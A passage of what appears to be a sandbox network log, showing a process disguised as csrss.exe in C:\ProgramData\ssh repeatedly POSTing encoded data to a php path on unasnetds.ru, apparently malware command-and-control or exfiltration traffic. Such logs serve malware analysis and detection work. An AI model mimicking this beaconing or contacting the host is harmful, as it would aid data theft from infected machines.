Jan 3, 2025 11:48:46.409363031 CET	1040	OUT	Data Raw: 5a 55 5e 5b 58 5c 50 5b 5a 5d 59 57 59 58 5b 55 5f 52 54 5f 50 54 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU^[X\P[Z]YWYX[U_RT_PT[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]9,.U"];R7U83>,?%]+,%[17?91^<>). \'%^.8
Jan 3, 2025 11:48:46.503911018 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:46.760823011 CET	797	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R%2FYHR8NPzcAyas13c9cV4ZcKrby6kz4MtOgdivClMYOWkGguiGnJ0hHjcL2w7cgdrJM9te22ON6TNLz7bPUHEaz%2FB4sZXj8hTdCDZTd3h2B5FOXalwYtEgj0BLMGqnI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b1a6b26f5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3181&min_rtt=1611&rtt_var=3744&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=103020&cwnd=182&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	51960	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:46.879251003 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:47.237265110 CET	1040	OUT	Data Raw: 5f 56 5b 5e 58 5c 50 5d 5a 5d 59 57 59 59 5b 52 5f 5a 54 54 50 5f 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[^X\P]Z]YWYY[R_ZTTP_[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.?&T!#'0.'?9+)8'= %1_<!) \'%^.
Jan 3, 2025 11:48:47.338450909 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:47.672313929 CET	804	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oPYdwM0ruCVXHfu3BJLJobBynOqp5PifHSE6bK%2FIC2AQ%2FRE9JQ%2FtaV%2FOClVBzPJxJtQIiJZ208lJybrD39rys80sDKzhVkosmp%2BCJv%2FB01ANPPfUeARRc8KQdw1j08s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b1f8e8b8c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4425&min_rtt=1784&rtt_var=5951&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=63719&cwnd=183&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	51961	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:47.803658962 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:48.178142071 CET	1040	OUT	Data Raw: 5a 53 5b 59 5d 58 50 5b 5a 5d 59 57 59 5c 5b 54 5f 55 54 5d 50 55 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS[Y]XP[Z]YWY\[T_UT]PU[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X.*#8<7$>/\<;2<,&>>"?>T%?,](/)>> \'%^.(
Jan 3, 2025 11:48:48.246898890 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:48.521542072 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fYiAbBZvji5uPMywij56DRdwLxKaaOrjlSGm%2F6F87DoQrOh5wj9F%2FpQzfz3Pr73IE5Nld8sP8iCtE87mCSMYpHgJeobUPCNLvIQHrJpza1Xe%2BOk9esDr0yKLFUJ1jKE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b254a45c339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4077&min_rtt=1610&rtt_var=5538&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=68384&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	51962	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:48.766586065 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	51963	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:48.884643078 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:49.237340927 CET	1756	OUT	Data Raw: 5a 52 5e 5a 5d 53 50 5c 5a 5d 59 57 59 5c 5b 57 5f 52 54 5c 50 59 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZR^Z]SP\Z]YWY\[W_RT\PY[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]-668' <'3+"+/1!T4>Q&,$_<<)> \'%^.(
Jan 3, 2025 11:48:49.334321022 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:49.597996950 CET	949	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KK2eEZnRqoswa3Cv9GJi7xuOs%2BqpSsb5BH61oYx8sYZKNX7ph%2BvK0Ti05dFIDU1EKLR9ls%2FgkTVWrSqqVmyRDKf7RmYqSwKQkh0kUbdpsDk76NKeV9PCQxf9Li5Vp%2B8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b2c1dbc8c60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3074&min_rtt=1765&rtt_var=3280&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=119290&cwnd=66&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 5a 21 3e 23 5c 27 29 33 54 24 5c 21 57 36 09 3e 5f 2d 00 2d 5b 33 2f 2b 11 3e 5f 33 53 27 3c 3d 5a 2b 2b 3d 19 26 3c 31 5f 32 03 2e 59 0d 11 3b 03 3f 12 33 57 2a 29 24 1f 3d 11 38 42 27 12 1a 58 2a 3b 37 5a 3f 54 3b 0c 20 3f 21 53 28 31 2d 12 2a 24 0b 5e 3d 32 34 05 25 0f 2c 5e 0b 12 24 1f 28 08 39 1f 23 22 3d 14 26 2e 20 06 24 14 37 52 22 1d 2c 52 33 38 28 5e 2c 0b 35 52 31 37 20 5f 2a 16 3b 02 34 06 0f 0e 2b 07 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98!Z!>#\')3T$\!W6>_--[3/+>_3S'<=Z++=&<1_2.Y;?3W)$=8B'X;7Z?T; ?!S(1-$^=24%,^$(9#"=&. $7R",R38(^,5R17 _;4+'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	51964	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:49.008570910 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:49.362276077 CET	1032	OUT	Data Raw: 5a 5c 5b 58 5d 5e 50 5a 5a 5d 59 57 59 5e 5b 5b 5f 57 54 5c 50 58 5b 5b 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[X]^PZZ]YWY^[[_WT\PX[[Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',<*!(;U#3Y3?+&?;Q%=!#-1</??&Y>> \'%^.
Jan 3, 2025 11:48:49.461972952 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:49.730721951 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wIk57DsQ%2FzLmgaMiexM75LEF0vFsFpOM6EQFa5zAdE%2F%2F1ehXwcm%2BqKcA8XrQ5iFN1bWRR9kYHkAQEgxdi0HzTFilrt15VBtrRNHkEdf%2Fvho60FM1hdaDPb4a0ZYLPOA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b2cdc3b7ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4915&min_rtt=1779&rtt_var=6940&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=54331&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	51965	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:49.865096092 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:50.221786022 CET	1040	OUT	Data Raw: 5a 51 5e 5d 5d 5c 55 5d 5a 5d 59 57 59 5c 5b 55 5f 51 54 59 50 5d 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZQ^]]\U]Z]YWY\[U_QTYP][VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$."!+ $%>+?5?91*"?&Q1Y,^(,= \'%^.(
Jan 3, 2025 11:48:50.328329086 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:50.580734968 CET	794	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8K4sZ9leG68AAKcuqGnSXVaeOPUmWakejfgLQMVkcrbBOcWjiAH4qVUOpyLVT0vBd%2F51jsRpSM8Ue5VVyrUJa9m1yGf92mM2euxpQ1RdCmQObNS0QsF9dZqcLVkPWQ0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b324d6d32e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4500&min_rtt=1994&rtt_var=5761&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=66219&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	51966	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:50.706994057 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:51.100814104 CET	1032	OUT	Data Raw: 5f 57 5b 50 58 5f 55 51 5a 5d 59 57 59 5e 5b 56 5f 55 54 5c 50 5a 5b 5e 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[PX_UQZ]YWY^[V_UT\PZ[^Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9?="+$!0 '#?(5]*9'%=S ?P%$\<<-= \'%^.4
Jan 3, 2025 11:48:51.150443077 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:51.368335962 CET	792	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GNVYrPEf99ZBJdOk3kE1mb1fIuAXJ9AtV818eN56FFfsd6COBj16ibINf2JiKzdIHvGbQtQNmehNqKrx7UawPQ0hjcC0neWYRfljpgZCeaIFBYqAb9NN3HoWydrPd8k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b376f2e4334-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4320&min_rtt=1520&rtt_var=6170&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=61036&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	51967	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:51.599337101 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:51.956181049 CET	1040	OUT	Data Raw: 5a 55 5b 5d 5d 52 50 59 5a 5d 59 57 59 57 5b 50 5f 57 54 5f 50 5d 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[]]RPYZ]YWYW[P_WT_P][_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$],?6R6;/U43#Y3=3(9\(Q19#/.P1(<"* \'%^.
Jan 3, 2025 11:48:52.070364952 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:52.252170086 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m188Qt82nQoXZ%2BEssKC3EHaEqsI6DEkoOlKr478eH7cUEbxtb2VjrKTCVGtOc9g3sB64fq3%2BPBA1YsQPojwMNKJ1G0Y%2BPIpYef6bBps3CR56z67aUGgmhZGT10Q0yy4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b3d2e9b78d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3840&min_rtt=2062&rtt_var=4330&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=89620&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	51968	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:52.382186890 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:52.737517118 CET	1040	OUT	Data Raw: 5a 55 5b 51 5d 5b 55 5f 5a 5d 59 57 59 59 5b 5b 5f 53 54 5e 50 5a 5b 59 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZU[Q][U_Z]YWYY[[_ST^PZ[YZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$9!#(' #Y%-7<(%_??W'=!7"P%//<%) \'%^.
Jan 3, 2025 11:48:52.853528023 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:53.017004967 CET	807	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qA1szKHOvoAaFTVCNjBGdbvcWzmNyw6XdApZ3VYDbZoJYOrJeZV8yhEVyHrrDQ8e%2F%2FVM%2B%2BaZcYY9bd6huY9Q2LR4e2PFHCy%2FNl%2BZvCs4h7siqXXlfGftm%2BM7HgWq1QU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b420a160f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3229&min_rtt=1694&rtt_var=3706&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=104457&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	51969	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:53.145853043 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:53.502931118 CET	1040	OUT	Data Raw: 5a 56 5e 5e 58 5b 50 59 5a 5d 59 57 59 56 5b 50 5f 50 54 5e 50 54 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZV^^X[PYZ]YWYV[P_PT^PT[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'.?-#8073$X'X?8%<,%["4Y>P1<8?<* \'%^.
Jan 3, 2025 11:48:53.607803106 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:53.874700069 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b94pnSIUbdbvtpYb07oKjQ94XPJUzcBInPrwRjPej3gIouDmbJ5k2aVBSIyNTTMSbxO9ziO%2BAyY0%2BYmGk5ZbvG0P4HV%2Bg8vWJX08aKobVp3T0e3d%2FhwCxpkXJPge%2BRg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b46ca8a438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4315&min_rtt=1580&rtt_var=6064&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=62215&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	51970	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
